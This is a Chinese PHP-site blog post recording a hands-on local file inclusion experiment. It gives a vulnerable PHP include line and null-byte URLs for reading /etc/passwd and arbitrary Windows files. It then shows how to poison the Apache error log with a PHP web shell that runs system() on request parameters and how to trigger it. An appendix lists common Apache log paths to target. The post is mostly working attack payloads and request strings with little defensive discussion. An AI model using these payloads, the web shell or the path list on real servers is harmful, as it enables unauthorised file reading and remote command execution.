来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 这次学习的主要参考资料是:http://downloads.ackack.net/LocalFileInclusion.pdf实验代码:如果是在linux上,直接提交:test.php?for=/etc/passwd%00即可显示该文件。?php include($_GET[#39;for#39;].lsq......
这次学习的主要参考资料是:http://downloads.ackack.net/LocalFileInclusion.pdf
实验代码: 如果是在linux上,直接提交:test.php?for=/etc/passwd%00即可显示该文件。 <?php include($_GET['for'].‘.php’);//用于测试本地包含漏洞 ?> 如果是在win上,提交:test.php?for=D:\tools\readme.txt%00,就可以了,跨目录跨盘符。这里要注意,对于过多的”..\”,360会自动拦截,比较好的办法是使用ie或者ff。 但是光是浏览文件是不够的,我们还需要webshell。可以使用log injection的方法。这也是我作这个记录的主要目的,这才是重点所在。 这里,思想的核心是要将php代码注入到log中,比如,我们可以将: <?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?> 注入进去(浏览器的自动更改实在太烦人)。注:friddle2不会对针对本机的访问过滤,我就输入本机的地址:192.168.0.1。 然后访问:test.php?for=/var/log/apache/logs/error_log%00&x=/&y=uname,这是针对linux。如果平台切换到win,可以访问:test.php?for=..\apache\logs\error.log%00&x=.y=dir,会显示当前目录文件。 当然,我们也可以将日志记录到access.log里,但那样会更复杂一些,因为需要包含的文件会更大。 参考文献还提到了:使用linux的/proc/self/fd进行注入的方法,我对linux不熟悉,所以也没有细看,以后需要的时候再了解吧。 额外的发现: 360浏览器有个奇怪的特性,当访问http://www.baidu.com/search/error.html%00../../../../../../tools后,会访问一下目录:D:\Program files\360se\tools 看看有没有这个文件夹,这里有问题吧?TDH D:\Program files\360se\360se3\http:\apache\logs\error.log%00&y=dir和http://192.168.0.1:88/test.php?for=..\..\..\apache\logs\error.log%00&y=dir,这两者之间的关系是怎么得来的? 附录: 1、可能的log路径、 /etc/httpd/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/error.log /etc/httpd/logs/error_log /opt/lampp/logs/access_log /opt/lampp/logs/error_log /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/www/logs/thttpd_log /var/apache/logs/access_log /var/apache/logs/error_log /var/log/apache/access.log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/httpd/access_log /var/log/httpd/error_log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/thttpd_log /var/www/log/access_log /var/www/log/error_log /var/www/logs/access.log /var/www/logs/access_log /var/www/logs/error.log /var/www/logs/error_log C:\apache\logs\access.log C:\apache\logs\error.log C:\Program Files\Apache Group\Apache\logs\access.log C:\Program Files\Apache Group\Apache\logs\error.log C:\program files\wamp\apache2\logs C:\wamp\apache2\logs C:\wamp\logs C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log 摘自 http://kingbase.org |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com